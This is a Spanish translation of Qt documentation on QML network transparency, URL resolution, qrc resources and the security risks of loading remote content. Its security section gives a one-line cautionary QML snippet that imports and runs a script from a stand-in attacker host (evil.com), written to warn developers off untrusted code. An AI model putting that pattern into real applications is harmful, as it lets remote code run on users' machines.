Carga de recursos y transparencia de red
QML admite la transparencia de red mediante el uso de URL (en lugar de nombres de archivo) para todas las referencias de un documento QML a otro contenido. Esto significa que en cualquier lugar en el que se espere una fuente URL, QML puede manejar recursos remotos tanto como locales, por ejemplo en la siguiente fuente de imagen:
Image { source: "http://www.example.com/images/logo.png" }
Dado que una URL relativa es lo mismo que un archivo relativo, el desarrollo de QML en sistemas de archivos normales sigue siendo sencillo:
Image { source: "images/logo.png" }
La transparencia de red es compatible con todo QML; por ejemplo, tanto los elementos FontLoader como Image admiten la carga de recursos desde un servidor remoto.
Incluso los propios tipos QML pueden estar en la red: si se utiliza la herramienta qml para cargar http://example.com/mystuff/Hello.qml y ese contenido hace referencia a un tipo "World", el motor cargará http://example.com/mystuff/qmldir y resolverá el tipo igual que lo haría para un archivo local. Por ejemplo, si el archivo qmldir contiene la línea "World World.qml", cargará http://example.com/mystuff/World.qml. Cualquier otro recurso al que Hello.qml haga referencia, normalmente mediante una URL relativa, se cargará de forma similar desde la red.
URL relativas frente a absolutas
Siempre que un objeto tenga una propiedad de tipo URL (QUrl), al asignar una cadena a esa propiedad se asignará en realidad una URL absoluta - resolviendo la cadena contra la URL del documento donde se utiliza la cadena.
Por ejemplo, considere este contenido en http://example.com/mystuff/test.qml:
Image { source: "images/logo.png" }
A la propiedad fuente Image se le asignará http://example.com/mystuff/images/logo.png, pero mientras se desarrolla el QML, en digamos C:\User\Fred\Documents\MyStuff\test.qml, se le asignará C:\User\Fred\Documents\MyStuff\images\logo.png.
Si la cadena asignada a una URL ya es una URL absoluta, la "resolución" no la cambia y la URL se asigna directamente.
Recursos QRC
Uno de los esquemas de URL integrados en Qt es el esquema "qrc". Esto permite que el contenido sea compilado en el ejecutable usando El Sistema de Recursos Qt. De este modo, un ejecutable puede hacer referencia a contenido QML compilado en el ejecutable:
QQuickView *view = new QQuickView; view->setUrl(QUrl("qrc:/dial.qml"));
El propio contenido puede utilizar URLs relativas y, de este modo, ignorar de forma transparente que el contenido está compilado en el ejecutable.
Limitaciones
La sentencia import sólo es transparente para la red si tiene una cláusula "as".
Más concretamente:
import "dir"sólo funciona en sistemas de archivos localesimport libraryUrisólo funciona en sistemas de archivos localesimport "dir" as Dfunciona con transparencia de redimport libraryUrl as Ufunciona con transparencia de red
Implicaciones para la seguridad de las aplicaciones
El modelo de seguridad de QML consiste en que el contenido QML es una cadena de contenido de confianza: el usuario instala contenido QML en el que confía del mismo modo que instala aplicaciones Qt nativas o programas escritos con tiempos de ejecución como Python y Perl. Esa confianza se establece mediante una serie de mecanismos, incluida la disponibilidad de la firma de paquetes en algunas plataformas.
Para preservar la confianza de los usuarios, los desarrolladores de aplicaciones QML no deben cargar ni ejecutar recursos JavaScript o QML arbitrarios. Por ejemplo, considere el siguiente código QML:
import QtQuick 2.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }
Esto equivale a descargar y ejecutar "http://evil.com/evil.exe". El motor QML no impedirá que se carguen determinados recursos. A diferencia del código JavaScript que se ejecuta dentro de un navegador web, una aplicación QML puede cargar recursos del sistema de archivos remotos o locales del mismo modo que cualquier otra aplicación nativa, por lo que los desarrolladores de aplicaciones deben tener cuidado al cargar y ejecutar cualquier contenido.
Como ocurre con cualquier aplicación que accede a otros contenidos fuera de su control, una aplicación QML debe realizar las comprobaciones oportunas en cualquier dato no fiable que cargue. Por ejemplo, no utilice import, Loader o XMLHttpRequest para cargar código o contenido que no sea de confianza.
© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.